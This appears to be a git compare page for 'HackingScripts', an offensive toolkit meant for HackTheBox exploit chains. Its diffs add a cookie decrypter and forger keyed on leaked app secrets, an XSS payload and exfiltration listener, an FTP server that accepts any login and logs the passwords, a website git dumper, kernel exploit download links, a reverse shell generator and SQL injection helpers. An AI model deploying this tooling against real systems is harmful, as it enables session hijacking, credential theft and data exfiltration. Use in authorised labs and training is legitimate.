Compare commits

...

28 Commits

Author SHA1 Message Date
91dcd50350 Exploit template enhancement 2025-12-14 12:51:41 +01:00
75b845a74f Merge remote-tracking branch 'mirror/master' 2025-12-08 15:32:39 +01:00
58329993e2 SQLi improvement 2025-12-08 14:34:23 +01:00
6b807eb828 SQLi: custom substr method 2025-12-08 14:34:23 +01:00
7088f50fa0 Subdomain Fuzz: static IP 2025-12-08 14:34:23 +01:00
b9cdecad77 SQLi improvement 2025-12-08 13:28:17 +01:00
43b1a0ebc6 SQLi: custom substr method 2025-12-08 12:35:56 +01:00
6cd353b911 Subdomain Fuzz: static IP 2025-12-08 12:35:30 +01:00
d89c0ccf64 Allow array indices for assert_json_path() 2025-12-05 12:23:57 +01:00
50750f5463 minor additions 2025-12-05 12:22:08 +01:00
93296c4172 Tool Update 2025-12-05 12:22:08 +01:00
a73847454f minor additions 2025-12-05 09:21:33 +01:00
790b97f945 Tool Update 2025-12-05 09:18:44 +01:00
5f7e482895 Allow array indices for assert_json_path() 2025-08-01 12:36:30 +02:00
e0c14aad4c README fixed 2025-04-27 12:08:41 +02:00
f080276339 added FTP server 2025-04-27 12:07:06 +02:00
90ccb07e94 linpeas update 2025-04-27 12:00:12 +02:00
78f91195f2 Update 2024-11-16 18:24:07 +01:00
12007c84c1 Added sqlite (SQLi) 2024-04-21 17:41:16 +02:00
f11f99fdf4 update 2024-03-17 17:31:56 +01:00
680b029677 sqli one bugfix 2024-02-27 11:59:04 +01:00
b5296b3ff4 reflected sqli multiple 2024-02-25 15:31:29 +01:00
546d6c8447 Added reflected SQLi 2024-02-25 09:44:52 +01:00
4b02f0bf25 sqli template 2024-02-24 16:08:04 +01:00
5a2508e524 README 2024-02-14 13:32:32 +01:00
5006819532 update 2024-02-14 13:00:30 +01:00
1b679b0c37 Updated README 2024-02-14 12:52:00 +01:00
ad8225e918 xss handler, argparse 2024-02-14 12:40:05 +01:00
31 changed files with 7813 additions and 3943 deletions

0
PetitPotam.py Executable file → Normal file
View File

View File

@@ -7,8 +7,16 @@ I use this repository mostly for automated exploit chains. HackTheBox machines o
### Installation ### Installation
```bash ```bash
git clone git@romanh.de:Roman/HackingScripts PYTHON_DIR=$(python -c "import sys;print(sys.path[-1])")
sudo ln -s HackingScripts $(python -c "import sys;print(sys.path[-1])")/hackingscripts
# clone directly into python site-packages
git clone https://git.romanh.de/Roman/HackingScripts.git $PYTHON_DIR/hackingscripts
# or use a symlink
git clone https://git.romanh.de/Roman/HackingScripts.git
sudo ln -s $(pwd)/HackingScripts $PYTHON_DIR/hackingscripts
# Install requirements
pip3 install -r $PYTHON_DIR/hackingscripts/requirements.txt
``` ```
### Enumeration: Initial Scans ### Enumeration: Initial Scans
@@ -30,6 +38,7 @@ Can be deployed on victim machines to scan the intranet.
- pingscan.py: small python script, which can detect internal hosts via ping probes natively. - pingscan.py: small python script, which can detect internal hosts via ping probes natively.
Can be deployed on victim machines to scan the intranet. Can be deployed on victim machines to scan the intranet.
- [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket) - [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket)
- [socat](https://github.com/3ndG4me/socat)
### Reverse Shell: Payloads ### Reverse Shell: Payloads
- rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...) - rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...)
@@ -48,10 +57,12 @@ Can be deployed on victim machines to scan the intranet.
- dnsserver.py: Create a temporary dns server responding dynamically to basic DNS requests (in-memory) - dnsserver.py: Create a temporary dns server responding dynamically to basic DNS requests (in-memory)
- sshserver.py: Create a temporary ssh server to intercept credentials (TODO: relay) (in-memory) - sshserver.py: Create a temporary ssh server to intercept credentials (TODO: relay) (in-memory)
- smtpserver.py: Create a temporary smtp server (in-memory) - smtpserver.py: Create a temporary smtp server (in-memory)
- ftpserver.py: Create a temporary ftp server (in-memory, thanks to [@benzammour](https://github.com/benzammour))
- template.py: Creates a template for web exploits, similar to pwnlib's template - template.py: Creates a template for web exploits, similar to pwnlib's template
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files - pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions - find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
- TODO: smb - TODO: smb
- sqli.py: An sqlmap-like abstract class for automizing SQL-Injections (WIP)
### [Windows](win/) ### [Windows](win/)
- nc.exe/nc64.exe: netcat standalone binary - nc.exe/nc64.exe: netcat standalone binary
@@ -63,4 +74,10 @@ Can be deployed on victim machines to scan the intranet.
- [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor - [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor
- [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
- [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell) - [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell)
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky) - [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to [@alwayslucky](https://github.com/0xalwayslucky))
- [PetitPotam.py](https://github.com/topotam/PetitPotam)
- [socat.exe](https://github.com/3ndG4me/socat)
- TODO: add all Potatoes
### Example API-Usage
TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc.

BIN
chisel
View File

Binary file not shown.

BIN
chisel64
View File

Binary file not shown.

148
crypto_cookie.py Normal file
View File

@@ -0,0 +1,148 @@
import base64
import hashlib
import hmac
import json
import os
import re
import urllib.parse
from Crypto.Cipher import AES
def unpad(data):
if not data:
return data
last_byte = data[-1]
if last_byte < AES.block_size:
data = data[0:-last_byte]
return data
def pad(data):
if not data:
return data
padding = AES.block_size - (len(data) % AES.block_size)
if padding < AES.block_size:
data = data + bytes([padding]) * padding
return data
def generate_mac(APP_KEY, iv, data):
return hmac.new(key=APP_KEY, msg=base64.b64encode(iv)+base64.b64encode(data), digestmod=hashlib.sha256)
def decrypt_cookie(APP_KEY, cookie):
json_obj = json.loads(base64.b64decode(urllib.parse.unquote(cookie)).decode())
iv = base64.b64decode(json_obj["iv"].encode())
encrypted = base64.b64decode(json_obj["value"].encode())
mac = generate_mac(APP_KEY, iv, encrypted)
if mac.hexdigest() != json_obj["mac"]:
print("[~] WARN: macs are not equal")
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(encrypted)).decode()
def create_cookie(APP_KEY, data):
iv = os.urandom(AES.block_size)
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(json.dumps(data).encode()))
mac = generate_mac(APP_KEY, iv, encrypted)
json_obj = {
"iv": base64.b64encode(iv).decode(),
"value": base64.b64encode(encrypted).decode(),
"mac": mac.hexdigest()
}
new_cookie = base64.b64encode(json.dumps(json_obj).encode()).decode()
# new_cookie = urllib.parse.quote(new_cookie)
return new_cookie
def hkdf_extract(salt, input_key_material, hash_name='sha256'):
"""
Extract a pseudorandom key from the input key material and salt using HMAC.
:param salt: The salt (bytes).
:param input_key_material: The input key material (bytes).
:param hash_name: The hash function to use (string).
:return: The pseudorandom key (bytes).
"""
if salt is None or len(salt) == 0:
salt = b'\x00' * hashlib.new(hash_name).digest_size
return hmac.new(salt, input_key_material, hash_name).digest()
def hkdf_expand(pseudorandom_key, info=b'', length=32, hash_name='sha256'):
"""
Expand the pseudorandom key into one or more keys using HMAC.
:param pseudorandom_key: The pseudorandom key (bytes).
:param info: Optional context and application-specific information (bytes).
:param length: The length of the output key material in bytes (int).
:param hash_name: The hash function to use (string).
:return: The output key material (bytes).
"""
hash_len = hashlib.new(hash_name).digest_size
blocks_needed = (length + hash_len - 1) // hash_len
okm = b''
output_block = b''
for counter in range(blocks_needed):
output_block = hmac.new(pseudorandom_key, output_block + info + bytes([counter + 1]), hash_name).digest()
okm += output_block
return okm[:length]
def hkdf(input_key_material, salt, info=b'', length=32, hash_name='sha256'):
"""
Derive keys using HKDF (extract and expand stages).
:param input_key_material: The input key material (bytes).
:param salt: The salt (bytes).
:param info: Optional context and application-specific information (bytes).
:param length: The length of the output key material in bytes (int).
:param hash_name: The hash function to use (string).
:return: The derived key (bytes).
"""
pseudorandom_key = hkdf_extract(salt, input_key_material, hash_name)
return hkdf_expand(pseudorandom_key, info, length, hash_name)
def decrypt_cookie_prestashop(COOKIE_KEY, cookie):
assert re.match(r"^[a-fA-F0-9]+$", COOKIE_KEY)
assert re.match(r"^[a-fA-F0-9]+$", cookie)
# https://github.com/defuse/php-encryption/blob/master/src/Key.php
KEY_CURRENT_VERSION = b"\xDE\xF0\x00\x00"
HEADER_SIZE = len(KEY_CURRENT_VERSION)
KEY_BYTE_SIZE = 32
CHECKSUM_BYTE_SIZE = 32
COOKIE_KEY = bytearray.fromhex(COOKIE_KEY)
assert COOKIE_KEY.startswith(KEY_CURRENT_VERSION)
assert len(COOKIE_KEY) == HEADER_SIZE + KEY_BYTE_SIZE + CHECKSUM_BYTE_SIZE
real_cookie_key = COOKIE_KEY[HEADER_SIZE:HEADER_SIZE+KEY_BYTE_SIZE]
cookie_signature_check = COOKIE_KEY[0:HEADER_SIZE+KEY_BYTE_SIZE]
key_signature = COOKIE_KEY[HEADER_SIZE+KEY_BYTE_SIZE:]
assert hashlib.sha256(cookie_signature_check).digest() == key_signature
# https://github.com/defuse/php-encryption/blob/master/src/Core.php
CURRENT_VERSION = b"\xDE\xF5\x02\x00"
HEADER_SIZE = len(CURRENT_VERSION)
SALT_SIZE = 32
IV_SIZE = 16
HMAC_SIZE = 32
cookie = bytearray.fromhex(cookie)
assert cookie.startswith(CURRENT_VERSION)
assert len(cookie) >= HEADER_SIZE + SALT_SIZE + IV_SIZE + HMAC_SIZE
salt = cookie[HEADER_SIZE:HEADER_SIZE+SALT_SIZE]
iv = cookie[HEADER_SIZE+SALT_SIZE:HEADER_SIZE+SALT_SIZE+IV_SIZE]
ct = cookie[HEADER_SIZE+SALT_SIZE+IV_SIZE:-HMAC_SIZE]
hmac_data = cookie[-HMAC_SIZE:]
PBKDF2_ITERATIONS = 100000
ENCRYPTION_INFO_STRING = b'DefusePHP|V2|KeyForEncryption'
AUTHENTICATION_INFO_STRING = b'DefusePHP|V2|KeyForAuthentication'
derived_key = hkdf(real_cookie_key, salt, ENCRYPTION_INFO_STRING, 32, "sha256")
cipher = AES.new(derived_key, AES.MODE_CTR, initial_value=iv, nonce=b"")
plaintext = cipher.decrypt(ct).decode()
# TODO: check hmac_data
lines = plaintext.split("¤")
return dict(map(lambda line: line.split("|"), lines))

View File

@@ -5,12 +5,10 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse from urllib.parse import urlparse
import threading import threading
import requests import requests
import sys
import time import time
import os import os
import ssl import ssl
import util import util
import xss_handler
class FileServerRequestHandler(BaseHTTPRequestHandler): class FileServerRequestHandler(BaseHTTPRequestHandler):
@@ -93,14 +91,23 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
status_code = 200 if len(result) < 1 else result[0] status_code = 200 if len(result) < 1 else result[0]
data = b"" if len(result) < 2 else result[1] data = b"" if len(result) < 2 else result[1]
headers = { } if len(result) < 3 else result[2] headers = { } if len(result) < 3 else result[2]
else: elif isinstance(result, int):
status_code = result status_code = result
data = b"" data = b""
headers = {} headers = {}
elif result is None:
status_code = 201
data = b""
headers = {}
else:
status_code = 200
data = data if type(data) in [bytes, bytearray] else str(data).encode()
headers = {}
if path in self.server.dumpRequests: if path in self.server.dumpRequests:
headers["Access-Control-Allow-Origin"] = "*" headers["Access-Control-Allow-Origin"] = "*"
headers["Connection"] = "Close"
headers["Content-Length"] = len(util.nvl(data, b"")) headers["Content-Length"] = len(util.nvl(data, b""))
if len(headers) == 0: if len(headers) == 0:
@@ -176,7 +183,7 @@ class HttpFileServer(HTTPServer):
data = data.encode("UTF-8") data = data.encode("UTF-8")
headers = { headers = {
"Access-Control-Allow-Origin": "*", "Access-Control-Allow-Origin": "*"
} }
if mime_type: if mime_type:
@@ -275,15 +282,11 @@ class HttpFileServer(HTTPServer):
self.listen_thread.join() self.listen_thread.join()
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])
exit(1)
parser = argparse.ArgumentParser(description="Spawn a temporary http server") parser = argparse.ArgumentParser(description="Spawn a temporary http server")
parser.add_argument( parser.add_argument(
"action", "action",
choices=["shell", "dump", "proxy", "xss"], choices=["shell", "dump", "proxy", "xss", "start"],
help="Choose one of these actions: shell, dump, proxy, xss" help="Choose one of these actions: shell, dump, proxy, xss, start"
) )
parser.add_argument( parser.add_argument(
@@ -294,7 +297,6 @@ if __name__ == "__main__":
help="Address to bind on (default: 0.0.0.0)" help="Address to bind on (default: 0.0.0.0)"
) )
# Optionales Argument: port
parser.add_argument( parser.add_argument(
"--port", "--port",
type=int, type=int,
@@ -327,9 +329,16 @@ if __name__ == "__main__":
file_server.forwardRequest("/proxy", url) file_server.forwardRequest("/proxy", url)
print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address)) print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address))
elif args.action == "xss": elif args.action == "xss":
from xss_handler import generate_payload as generate_xss_payload
payload_type = args.payload if args.payload else "img" payload_type = args.payload if args.payload else "img"
xss = xss_handler.generatePayload(payload_type, ip_addr, args.port) xss = generate_xss_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address))
file_server.addFile("/xss", xss)
file_server.dumpRequest("/exfiltrate")
print("Exfiltrate data using:") print("Exfiltrate data using:")
print(xss) print(xss)
elif args.action == "start":
file_server.load_directory(".")
print("Serve files in current directory using:")
print(file_server.get_full_url("/", ip_addr=ip_address))
file_server.serve_forever() file_server.serve_forever()

181
ftpserver.py Normal file
View File

@@ -0,0 +1,181 @@
import os
import logging
import argparse
import signal
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import ThreadedFTPServer
from pyftpdlib.authorizers import DummyAuthorizer
logger = logging.getLogger()
logger.setLevel(logging.INFO)
stream_handler = logging.StreamHandler()
stream_handler.setLevel(logging.INFO)
formatter = logging.Formatter("%(asctime)s - %(message)s")
stream_handler.setFormatter(formatter)
logger.addHandler(stream_handler)
MSG_LOGIN = "Login successful"
MSG_CLOSE = "Goodbye"
# Class to log every action the user takes
class CustomFTPHandler(FTPHandler):
def on_login(self, username):
logging.info(f"User '{username}' logged in successfully.")
def on_login_failed(self, username, password):
logging.warning(
f"Failed login attempt for user '{username}' with password '{password}'."
)
def on_file_received(self, file):
logging.info(f"File received: {file}")
def on_file_sent(self, file):
logging.info(f"File sent: {file}")
def on_file_deleted(self, file):
logging.info(f"File deleted: {file}")
def on_file_renamed(self, old_file, new_file):
logging.info(f"File renamed from '{old_file}' to '{new_file}'")
def on_file_downloaded(self, file):
logging.info(f"File downloaded: {file}")
def on_file_stored(self, file):
logging.info(f"File stored: {file}")
def on_file_retrieved(self, file):
logging.info(f"File retrieved: {file}")
def on_file_aborted(self, file):
logging.info(f"File transfer aborted: {file}")
def on_file_changed(self, file):
logging.info(f"File changed: {file}")
def on_file_moved(self, old_file, new_file):
logging.info(f"File moved from '{old_file}' to '{new_file}'")
def on_file_uploaded(self, file):
logging.info(f"File uploaded: {file}")
def on_connect(self):
logger.info(f"Client connected: {self.remote_ip}")
def on_disconnect(self):
logger.info(f"Client disconnected: {self.remote_ip}")
def on_logout(self, username):
logger.info(f"User logged out: {username}")
def on_incomplete_file_received(self, file):
logger.warning(f"Incomplete file received: {file}")
def on_incomplete_file_sent(self, file):
logger.warning(f"Incomplete file received: {file}")
class AnyUserAuthorizer(DummyAuthorizer):
"""
Authorization class that allows any combination of username/password.
"""
def __init__(self, directory):
DummyAuthorizer.__init__(self)
self.directory = directory
self.default_params = {
"pwd": "",
"home": self.directory,
"perm": "elr",
"operms": {},
"msg_login": MSG_LOGIN,
"msg_quit": MSG_CLOSE,
}
def validate_authentication(self, username, password, handler):
logger.info(f"User '{username}' tried logging in with password: '{password}'")
return True
def get_home_dir(self, username):
return self.directory
def has_user(self, username):
if username in self.user_table:
return True
self.add_user(username, "", self.directory)
return True
def has_perm(self, username, perm, path=None) -> bool:
if username not in self.user_table:
# add user manually and not via add_user due to infinite recursion
self.user_table[username] = self.default_params
return True
def get_msg_login(self, username: str) -> str:
return MSG_LOGIN
def get_msg_quit(self, username: str) -> str:
return MSG_CLOSE
class FastFTPServer:
def __init__(self, directory, port):
self.directory = directory
self.port = port
self.server = None
def start(self):
authorizer = AnyUserAuthorizer(directory=self.directory)
handler = CustomFTPHandler
handler.authorizer = authorizer
self.server = ThreadedFTPServer(("", self.port), handler)
logging.info(f"Starting FTP server on port {self.port}")
self.server.serve_forever()
def cleanup(self):
logging.info("Shutting down FTP server...")
if self.server:
self.server.close_all()
logging.info("FTP server shut down.")
def signal_handler(sig, frame):
logging.info("Received Ctrl+C, shutting down...")
ftp_server.cleanup()
exit(0)
def main():
parser = argparse.ArgumentParser(description="Temporary FTP Server")
parser.add_argument(
"--dir", "-d", type=str, default=".", help="Directory to serve files from"
)
parser.add_argument(
"--port", "-p", type=int, default=21, help="Port to run the FTP server on"
)
args = parser.parse_args()
if not os.path.exists(args.dir):
print(f"Error: The directory '{args.dir}' does not exist.")
return
global ftp_server
ftp_server = FastFTPServer(args.dir, args.port)
signal.signal(signal.SIGINT, signal_handler)
ftp_server.start()
if __name__ == "__main__":
main()

View File

@@ -292,9 +292,14 @@ class FindObjectsWorker(DownloadWorker):
with open(abspath, 'wb') as f: with open(abspath, 'wb') as f:
f.write(response.content) f.write(response.content)
try:
# parse object file to find other objects # parse object file to find other objects
obj_file = dulwich.objects.ShaFile.from_path(abspath) obj_file = dulwich.objects.ShaFile.from_path(abspath)
return get_referenced_sha1(obj_file) return get_referenced_sha1(obj_file)
except:
print("[-] Error parsing:", filepath)
os.remove(abspath)
return []
def fetch_git(url, directory, jobs, retry, timeout, follow_redirects, module=".git"): def fetch_git(url, directory, jobs, retry, timeout, follow_redirects, module=".git"):
@@ -525,7 +530,7 @@ if __name__ == '__main__':
description='Dump a git repository from a website.') description='Dump a git repository from a website.')
parser.add_argument('url', metavar='URL', parser.add_argument('url', metavar='URL',
help='url') help='url')
parser.add_argument('directory', metavar='DIR', parser.add_argument('--directory', metavar='DIR', default=None, type=str,
help='output directory') help='output directory')
parser.add_argument('--proxy', parser.add_argument('--proxy',
help='use the specified proxy') help='use the specified proxy')
@@ -572,6 +577,13 @@ if __name__ == '__main__':
parser.error('invalid proxy') parser.error('invalid proxy')
# output directory # output directory
if args.directory is None:
parsed_url = urllib.parse.urlparse(args.url)
if not parsed_url or not parsed_url.hostname:
parser.error('no output directory given and cannot derive from URL')
else:
args.directory = parsed_url.hostname
if not os.path.exists(args.directory): if not os.path.exists(args.directory):
os.makedirs(args.directory) os.makedirs(args.directory)

9434
linpeas.sh
View File

File diff suppressed because one or more lines are too long

View File

@@ -217,7 +217,7 @@ Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
Tags: ubuntu=9.04 Tags: ubuntu=9.04
Rank: 1 Rank: 1
analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/ analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz
exploit-db: 9435 exploit-db: 9435
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
EOF EOF
@@ -228,7 +228,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage2
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
Tags: Tags:
Rank: 1 Rank: 1
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz
exploit-db: 9436 exploit-db: 9436
Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
EOF EOF
@@ -239,7 +239,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage3
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
Tags: Tags:
Rank: 1 Rank: 1
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz
exploit-db: 9641 exploit-db: 9641
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
EOF EOF
@@ -260,7 +260,7 @@ Name: ${txtgrn}[CVE-2009-2698]${txtrst} the rebel (udp_sendmsg)
Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19 Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19
Tags: debian=4 Tags: debian=4
Rank: 1 Rank: 1
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9574.tgz
exploit-db: 9574 exploit-db: 9574
analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
author: spender author: spender
@@ -701,7 +701,7 @@ Name: ${txtgrn}[CVE-2016-4997]${txtrst} target_offset
Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules
Tags: ubuntu=16.04{kernel:4.4.0-21-generic} Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
Rank: 1 Rank: 1
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip
Comments: ip_tables.ko needs to be loaded Comments: ip_tables.ko needs to be loaded
exploit-db: 40049 exploit-db: 40049
author: Vitaly 'vnik' Nikolenko author: Vitaly 'vnik' Nikolenko
@@ -714,7 +714,7 @@ Reqs: pkg=linux-kernel,ver>=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unp
Tags: ubuntu=16.04{kernel:4.4.0-21-generic} Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
Rank: 1 Rank: 1
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
exploit-db: 40759 exploit-db: 40759
author: Jann Horn author: Jann Horn
@@ -858,7 +858,7 @@ Reqs: pkg=linux-kernel,ver>=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unpr
Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28} Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
Rank: 1 Rank: 1
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip
exploit-db: 45886 exploit-db: 45886
author: Jann Horn author: Jann Horn
Comments: CONFIG_USER_NS needs to be enabled Comments: CONFIG_USER_NS needs to be enabled
@@ -871,7 +871,7 @@ Reqs: pkg=linux-kernel,ver>=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
Rank: 1 Rank: 1
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
Comments: Requires an active PolKit agent. Comments: Requires an active PolKit agent.
exploit-db: 47133 exploit-db: 47133
@@ -1066,7 +1066,7 @@ Reqs: pkg=glibc|libc6,x86
Tags: debian=6 Tags: debian=6
Rank: 1 Rank: 1
analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/34421.tar.gz src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34421.tar.gz
exploit-db: 34421 exploit-db: 34421
EOF EOF
) )
@@ -1284,7 +1284,7 @@ Reqs: pkg=ntfs-3g,ver<2017.4
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2} Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
Rank: 1 Rank: 1
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072 analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip
exploit-db: 41356 exploit-db: 41356
author: Jann Horn author: Jann Horn
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores. Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.

View File

@@ -643,6 +643,7 @@ sub makeRequest {
keep_alive => 1, keep_alive => 1,
timeout => 30, timeout => 30,
requests_redirectable => [], requests_redirectable => [],
ssl_opts => { verify_hostname => 0, SSL_verify_mode => 0 },
); );
$req = new HTTP::Request $method => $url; $req = new HTTP::Request $method => $url;

View File

@@ -532,8 +532,8 @@ if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Reverse shell generator") parser = argparse.ArgumentParser(description="Reverse shell generator")
parser.add_argument(dest="type", type=str, default=None, help="Payload type") parser.add_argument(dest="type", type=str, default=None, help="Payload type")
parser.add_argument("--port", type=int, required=False, default=None, help="Listening port") parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
parser.add_argument("--addr", type=str, required=False, default=util.get_address(), help="Listening address") parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
args, extra = parser.parse_known_args() args, extra = parser.parse_known_args()
listen_port = args.port listen_port = args.port

BIN
socat
View File

Binary file not shown.

BIN
socat64 Normal file
View File

Binary file not shown.

303
sqli.py
View File

@@ -2,47 +2,17 @@ from abc import ABC, abstractmethod
import sys import sys
import string import string
# TODO: add blind/reflected option
# TODO: binary search instead of bruteforce
class SQLi(ABC): class SQLi(ABC):
@staticmethod @staticmethod
def build_query(column: str, table=None, condition=None, offset=None): def build_query(column: str|list, table=None, condition=None, offset=None, limit=1):
condition = "" if not condition else f" WHERE {condition}" query = "SELECT "
offset = "" if offset is None else f" OFFSET {offset}" query += column if isinstance(column, str) else ",".join(column)
table = "" if not table else f" FROM {table}" query += "" if not table else f" FROM {table}"
return f"SELECT {column}{table}{condition} LIMIT 1{offset}" query += "" if not condition else f" WHERE {condition}"
